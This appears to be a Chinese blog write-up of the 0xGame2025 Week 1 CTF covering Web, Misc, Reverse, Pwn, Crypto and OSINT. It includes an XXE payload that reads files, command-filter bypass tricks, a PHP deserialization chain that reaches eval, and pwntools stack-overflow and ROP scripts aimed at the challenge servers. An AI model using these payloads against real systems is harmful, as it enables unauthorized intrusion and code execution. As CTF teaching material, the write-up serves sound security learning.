跳到主要内容
0xGame2025 Week1 完整解题报告(Web/Misc/Reverse/Pwn/Crypto/Osint) | 极客日志
Python 算法
0xGame2025 Week1 完整解题报告(Web/Misc/Reverse/Pwn/Crypto/Osint) 综述由AI生成 0xGame2025 Week1 竞赛解题报告覆盖 Web、Misc、Reverse、Pwn、Crypto 及 Osint 六大方向。Web 部分涉及弱口令、XXE、RCE 绕过及 PHP 反序列化利用;Misc 包含 Base64 解码、ZIP 隐写及磁盘镜像分析;Reverse 重点在于脱壳、IDA 逆向与 Z3 求解器应用;Pwn 挑战涵盖命令注入、栈溢出与 ROP 链构造;Crypto 环节解决 RSA 分解、Diffie-Hellman 及维吉尼亚密码变体;Osint 则通过图片地理信息定位获取 Flag。文中提供了关键 Payload 与自动化脚本示例。
月光旅人 发布于 2026/3/24 更新于 2026/4/30 3 浏览Web
Lemon
题目提示'时代少年团,我们喜欢你',界面禁用了右键和 F12。其实直接按 Ctrl+U 查看源码即可绕过限制。
Http 的真理,我已解明
根据题目提示修改请求包,注意 Host 和 Cookie 字段。
POST /?hello=web HTTP/1.1
Host: 80-42e509c2-93bd-4e6a-9963-f2a827a573d0.challenge.ctfplus.cn
Content-Length: 9
Cache-Control: max-age=0
Origin: http://80-42e509c2-93bd-4e6a-9963-f2a827a573d0.challenge.ctfplus.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Safari
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: www.mihoyo.com
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Sean=god Connection: keep-alive Via:clash http=good
留言板(粉)
登录界面存在弱口令,直接使用 admin/admin123 进入。
正常输入会返回 XML 报错,这里可以直接利用 XXE 漏洞读取文件。
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<msg > &xxe; </msg >
RCE1 题目过滤了常见命令词如 system, cat, flag, ls 等,且禁止使用通配符 *。不过我们可以利用替代方案:
system 可以用 print 替代
cat 可以用 tac 替代
` 表示执行里面的命令
f??? 可以匹配以 f 开头的四字文件
ls 可以用 l\s 绕过
Rubbish_Unser ZZZ::__destruct → __toString (Mi) → GI::__call() → HI3rd::__invoke → HSR::__get() → eval
需要满足特定条件触发:MD5 和 SHA1 分别相等。利用 Error 类和 PHP 的 GC 回收机制绕过异常抛出。
<?php
error_reporting (0 );
class ZZZ {
public $yuzuha ;
function __construct ($yuzuha ) { $this ->yuzuha = $yuzuha ; }
function __destruct ( ) { echo "破绽,在这里!" . $this ->yuzuha; }
}
class HSR {
public $robin = "system('env');" ;
function __get ($robin ) {
echo "4" ;
$castorice = $this ->robin;
eval ($castorice );
}
}
class HI3rd {
public $RaidenMei , $kiana , $guanxing ;
function __invoke ( ) {
echo "3" ;
if ($this ->kiana !== $this ->RaidenMei && md5 ($this ->kiana) === md5 ($this ->RaidenMei) && sha1 ($this ->kiana) === sha1 ($this ->RaidenMei))
return $this ->guanxing->Elysia;
}
}
class GI {
public $furina ;
function __call ($arg1 , $arg2 ) {
echo "2" ;
$Charlotte = $this ->furina;
return $Charlotte ();
}
}
class Mi {
public $game ;
function __toString ( ) {
echo "1" ;
$game1 = @$this ->game->tks ();
return $game1 ;
}
}
$a = new ZZZ (1 );
$a ->yuzuha = new Mi ();
$a ->yuzuha->game = new GI ();
$a ->yuzuha->game->furina = new HI3rd ();
$a ->yuzuha->game->furina->kiana = new Exception ("" , 1 );
$a ->yuzuha->game->furina->RaidenMei = new Exception ("" , 2 );
$a ->yuzuha->game->furina->guanxing = new HSR ();
echo urlencode (serialize ($a ));
?>
Lemon_RevEnge { "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "," } } } } }
留言板_reVenge 路径为 /xxxxmleee.php,与留言板(粉)类似,直接上 XSS payload 即可,无需额外绕过。
Misc
Sign_in
公众号原稿 隐写在 zip 文件中。解压后放入 VSCode,使用快捷键 Ctrl+Shift+F 全局搜索 flag。
Zootopia
签到 -0xGame Flag 格式:0xGame{🎉👋🕹️2️⃣0️⃣2️⃣5️⃣0️⃣❎🎮🎯🏟️🥳🎊⚽😄}
Do not enter ~$ sudo losetup -fP do_not_enter.dd
~$ sudo losetup -a
/dev/loop0: [2096]:536444 (/home/yolo/Desktop/timu/0xGame_challenge/do_not_enter.dd)
~$ lsblk -f /dev/loop0
NAME FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS
loop0 ├─loop0p1 ext4 1.0 UserShare 5a6be8f0-43f9-4020-a729-510d6d57e95b
├─loop0p2 ext4 1.0 Do_not_enter 643298ec-2a07-4681-9555-addf90de8ae1
├─loop0p3
├─loop0p5 ext4 1.0 WebServer f965eed6-3de2-4533-8e06-2c816f9e4575
└─loop0p6 ext4 1.0 SysLogs 650ce632-c57e-41c6-8a3b-c6bf3d4e2193
~$ sudo mount /dev/loop0p2 /mnt/test
~$ sudo grep -r "0xGame" /mnt/test
/mnt/test/syslog:0xGame{WoW_y0u_fouNd_1t?_114514}
~$ sudo umount /mnt/test
~$ sudo losetup -d /dev/loop0
~$ sudo rmdir /mnt/test
ez_Shell Flag: 0xGame{hacker*/home/hacker*.mysecret_It_is_funny_right?_You_hacked_me!!!}
ezShell_PLUS welcome@dep-f031579f-3f98-40cc-acc1-c7fa6cdac464-6c66ccb687-ch48r:~$
ls challenge
welcome@...:~/challenge$ cd files
welcome@...:~/challenge/files$ ls *.dat
... (多个文件)
welcome@...:~/challenge/files$ sha256sum *.dat | grep 9e4bba0f1d59dbb430078a54ad9eda3c2d7f1b3cab323cf2041e61e897fd0840
9e4bba0f1d59dbb430078a54ad9eda3c2d7f1b3cab323cf2041e61e897fd0840 f9a0df0bab59793e.dat
welcome@...:~/challenge/files$ cd ../
welcome@...:~/challenge$ ./decrypt.sh files/f9a0df0bab59793e.dat
0xGame{Welc0me_to_H@ckers_w0r1d}
Reverse
Signln 方法一:打开即可看见。
方法二:右键搜索特征字符串 0xGame。
Signln2
EasyXor 使用 DIE 检测文件类型,确认为 ELF64 后导入 IDA。双击 str() 函数或丢给 AI 分析。
IDA 版本较低无法直接 dump,参考官方 WP 编写脚本解密。
enc=[0x42 ,0x1A ,0x39 ,0x17 ,0x1D ,0x9 ,0x51 ,0x55 ,0x2C ,0x5F ,0x63 ,0xC ,0xD ,0x16 ,0x62 ,0x27 ,0x55 ,0x64 ,0x55 ,0x26 ,0x6D ,0x6A ,0x18 ,0x34 ,0x88 ,0x65 ,0x6E ,0x1C ,0x21 ,0x6E ,0x3D ,0x23 , 0x6A ,0x25 ,0x6B ,0x63 ,0x68 ,0x7E ,0x77 ,0x75 ,0x9A ,0x7D ,0x39 ,0x43 ]
key = 'raputa0xGame2025'
for i in range (len (enc)): print (chr ((enc[i]-i)^ord (key[i % len (key)])),end='' )
BaseUpx DIE 检测发现 UPX 壳,脱壳后查看 puts 函数得到 Flag。
DyDebug 在 Pity 处断点运行,随机输入即可拿到 Flag。
ZZZ 考察 Z3 求解器。复现等式并验证 SHA256。
from z3 import *
import hashlib
sha256='4aba519d4666f5421488afaaf89efdcbe48e7a53f814ce5c1d82b46b55032651'
s=Solver()
x1=BitVec('x1' ,32 ); x2=BitVec('x2' ,32 )
x3=BitVec('x3' ,32 ); x4=BitVec('x4' ,32 )
s.add(3 * x2 + 5 * x1 + 7 * x4 + 2 * x3 == -1445932505 )
s.add(2 * (2 * (2 * x2 + x3) + x1) + x4 == -672666814 )
s.add(7 * x2 + 3 * x1 + 5 * x4 + 4 * x3 == 958464147 )
s.add(((x1 ^ x2) << 6 ) + ((x3 >> 6 ) ^ 0x4514 ) == 123074281 )
while s.check() == sat:
model=s.model()
x1_val=model[x1].as_long(); x2_val=model[x2].as_long()
x3_val=model[x3].as_long(); x4_val=model[x4].as_long()
flag=f"0xGame{{{x1_val:08x} {x2_val:08x} {x3_val:08x} {x4_val:08x} }}"
if hashlib.sha256(flag.encode()).hexdigest()==sha256:
print (flag)
exception=Or(x1!=x1_val,x2!=x2_val,x3!=x3_val,x4!=x4_val)
s.add(exception)
Pwn
命令执行🤔 在正常命令中加入无关紧要的分隔符,如 ca\t flag 或 c'a'r flag 绕过过滤。
wenyifan@wenyifan-VMware-Virtual-Platform:~/Desktop$ nc nc1.ctfplus.cn 26950
Please input your command ,no cat no sh!
ca\t flag 0xGame{y0u_c4n_4ls0_3x3cu73_c0mm4nd_w17h0u7_5h_4nd_c47}
test_your_nc
stack overflow from pwn import *
w=remote("nc1.ctfplus.cn" ,20513 )
payload=b'a' *0x38 +p64(0x4011F7 )
w.send(payload)
w.interactive()
简单数学题 from pwn import *
context.log_level='debug'
io=remote("nc1.ctfplus.cn" ,16627 )
io.recvuntil(b"Kore wa shiren da!\n" )
for i in range (1000 ):
t=io.recvuntil(b"?" )[:-3 ]
if b"x" in t:
t=t.decode()
t = t.replace("x" , "*" , 1 )
t=t.encode()
num=eval (t)
io.sendline(str (num).encode())
io.recvline()
io.recvline()
io.interactive()
ROP1 from pwn import *
io=remote("nc1.ctfplus.cn" ,26572 )
system=p64(0x401195 )
sh=p64(0x000000000040201e )
rdi=p64(0x000000000040117e )
payload=b'a' *0x28 +rdi+sh+system
io.send(payload)
io.interactive()
ROP2 io=remote("nc1.ctfplus.cn" ,49374 )
payload=b'a' *0x38 +p64(0x40119E )+p64(0x401200 +2 )+p64(0x40122B )
io.sendline(payload)
io.interactive()
Crypto
2FA oathtool --totp -b FZUA6MCDB6YHVZVZCXK4C47ERRG363MR
解释:oathtool 将 Base32 密钥解码为原始字节,结合时间戳计算 TOTP。
芸翎 import string, hashlib, re, itertools
from pwn import *
from Crypto.Util.number import *
def solve_pow (prefix_end, target_hash ):
alphabet = string.ascii_letters + string.digits
for x in itertools.product(alphabet, repeat=4 ):
s = '' .join(x) + prefix_end
if hashlib.sha256(s.encode()).hexdigest() == target_hash:
return '' .join(x)
return None
def decrypt_rsa_prime_n (n, e, c_hex ):
c_bytes = bytes .fromhex(c_hex)
c_int = int .from_bytes(c_bytes, 'little' )
phi = n - 1
d = pow (e, -1 , phi)
m = pow (c_int, d, n)
return m
def main ():
try :
r = remote('nc1.ctfplus.cn' , 14612 )
line = r.recvline().decode().strip()
match = re.match (r'\[\+\] sha256\(XXXX\+([a-zA-Z0-9]+)\) == ([0-9a-f]+)' , line)
suffix = match .group(1 )
target_hash = match .group(2 )
xxxx = solve_pow(suffix, target_hash)
r.sendlineafter(b'[-] Give me XXXX:' , xxxx.encode())
r.recvuntil(b'[+] n = ' ) n = int (r.recvline().strip())
r.recvuntil(b'[+] e = ' ) e = int (r.recvline().strip())
r.recvuntil(b'[+] c = ' ) c_hex = r.recvline().strip().decode()
m = decrypt_rsa_prime_n(n, e, c_hex)
m_bytes = long_to_bytes(m)
flag_str = m_bytes.decode('utf-8' )
if '}' in flag_str:
end_index = flag_str.index('}' ) + 1
print (f"FLAG: {flag_str[:end_index]} " )
except Exception as e:
print (f"Error: {e} " )
if __name__ == '__main__' :
main()
Diffie-Hellman 利用 DH 协议特性,发送 B=1 获取共享密钥,解密 Flag。
import socket, re
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
HOST = "nc1.ctfplus.cn"
PORT = 49871
def recv_all_until (sock, marker, timeout=5 ):
sock.settimeout(timeout)
data = b""
while True :
try :
chunk = sock.recv(4096 )
if not chunk: break
data += chunk
if marker in data: break
except socket.timeout: break
return data
def main ():
with socket.create_connection((HOST, PORT), timeout=10 ) as s:
data = recv_all_until(s, b"Bob's Public Key:" )
s.sendall(b"1\n" )
more = recv_all_until(s, b"\n" , timeout=2 )
text2 = (data + more).decode(errors='ignore' )
m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)" , text2)
if not m:
extra = s.recv(8192 )
text2 += extra.decode(errors='ignore' )
m = re.search(r"Encrypted Flag:\s*([0-9a-fA-F]+)" , text2)
hex_cipher = m.group(1 )
ct = bytes .fromhex(hex_cipher)
key = sha256(long_to_bytes(1 )).digest()
cipher = AES.new(key, AES.MODE_ECB)
pt = unpad(cipher.decrypt(ct), 16 )
print (pt.decode())
if __name__ == "__main__" :
main()
ez_RSA from Crypto.Util.number import long_to_bytes, inverse
n = 5288062996177288067805240670327919739339874127477405321607402348589147491552053048231920112750216696782518281218048178087877077018108705271341382858124037
c = 2454797328903978848197140611862882439826920912955785083080835692389929572917351093371626343669582289242212514789420568997224614087740388703381025018563979
p = 60979507724530093051797511853954365018147917052474373616663462193464369184711
q = 86718689499194998339746379891242621495538434539975542252458947218776577824467
e = 65537
phi = (p - 1 ) * (q - 1 )
d = inverse(e, phi)
m = pow (c, d, n)
flag = long_to_bytes(m)
print ("flag =" , flag.decode())
Vigenere from string import digits, ascii_letters, punctuation
ciphertext = 'WL"mKAaequ{q_aY$oz8`wBqLAF_{cku|eYAczt!pmoqAh+'
key = "Welcome-2025-0xGame"
alphabet = digits + ascii_letters + punctuation
def vigenere_decrypt (cipher, key ):
key_index = 0
plaintext = ''
for char in cipher:
bias = alphabet.index(key[key_index])
char_index = alphabet.index(char)
new_index = (char_index - bias) % len (alphabet)
plaintext += alphabet[new_index]
key_index = (key_index + 1 ) % len (key)
return plaintext
print (vigenere_decrypt(ciphertext, key))
笙莲 多部分数据拼接,包含 Base64、Hex、自定义编码及整数开方。
from base64 import b64decode
c0 = "MHhHYW1le7u2063AtLW9MHhHYW1lMjAyNQ=="
c1 = "a3accfd6d4dac4e3d2d1beadd1a7bbe143727970746fb5c4bb"
c2 = "wqwwwqqaawwwaaqawqwawwwwaaawwwawaqqwwwqaqwwqwaaqwaqqaaawqqqaqaqwaaawwwqaqaaaaqawaqqqwwqqwaqwqwwwawawqqwwqqawqwaqwwawwqwaqqaqwaw"
c3 = "5787980659359196741038715872684190805073807486263453249083702093905274294594502252203577660251756609738877887210677202141957646934092054500618364441642896304387589669635034683021946777034215355675802286923927161922717560413551789421376288823912349463080999424773600185557948875343480056576969695671340947861706467351885610345887785319870159654836532664189086047061137903149197973327299859185905186913896041309284477616128"
def decode_awaqaq (s: str ) -> bytes :
inv = {'a' :0 , 'w' :1 , 'q' :2 }
num = 0
for i, ch in enumerate (s): num += inv[ch] * (3 ** i)
length = (num.bit_length() + 7 ) // 8
return num.to_bytes(length, 'big' )
def integer_kth_root (n: int , k: int ) -> int :
lo, hi = 1 , 1 << ((n.bit_length() // k) + 2 )
while lo < hi:
mid = (lo + hi) // 2
if mid**k <= n: lo = mid + 1
else : hi = mid
return lo - 1
b0 = b64decode(c0)
b1 = bytes .fromhex(c1)
b2 = decode_awaqaq(c2)
n = int (c3)
x = integer_kth_root(n, 7 )
seg_len = max (len (b0), len (b1), len (b2))
b3 = x.to_bytes(seg_len, 'little' )
all_bytes = b0 + b1 + b2 + b3
end = all_bytes.find(b"}" )
if end != -1 :
flag = all_bytes[:end+1 ].decode("gb2312" , errors="ignore" )
print (flag)
Vigenere Advanced from string import digits, ascii_letters, punctuation, ascii_lowercase
import itertools
alphabet = digits + ascii_letters + punctuation
key = "QAQ(@.@)"
ciphertext = "0l0CSoYM<c;amo_P_"
n = len (alphabet)
prefix = "0xGame{" suffix = "}"
def decrypt_char (c, bias ):
target_index = alphabet.index(c)
candidates = []
for x in range (n):
if ((x + bias) * x) % n == target_index:
candidates.append(alphabet[x])
return candidates
cand_lists = []
for i, c in enumerate (ciphertext):
bias = alphabet.index(key[i % len (key)])
cands = decrypt_char(c, bias)
if i < len (prefix): cands = [ch for ch in cands if ch == prefix[i]]
elif i == len (ciphertext) - 1 : cands = [ch for ch in cands if ch == suffix]
else : cands = [ch for ch in cands if ch in ascii_lowercase]
cand_lists.append(cands)
def encrypt (plaintext, key ):
key_index = 0
ct = ''
for ch in plaintext:
bias = alphabet.index(key[key_index])
char_index = alphabet.index(ch)
new_index = ((char_index + bias) * char_index) % n
ct += alphabet[new_index]
key_index = (key_index + 1 ) % len (key)
return ct
candidates = []
for combo in itertools.product(*cand_lists):
pt = '' .join(combo)
if encrypt(pt, key) == ciphertext:
candidates.append(pt)
if candidates:
print ("最可能的 flag:" , candidates[0 ])
Osint
猜猜 background Flag: 0xGame{大室山_32.1191_118.9265}
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online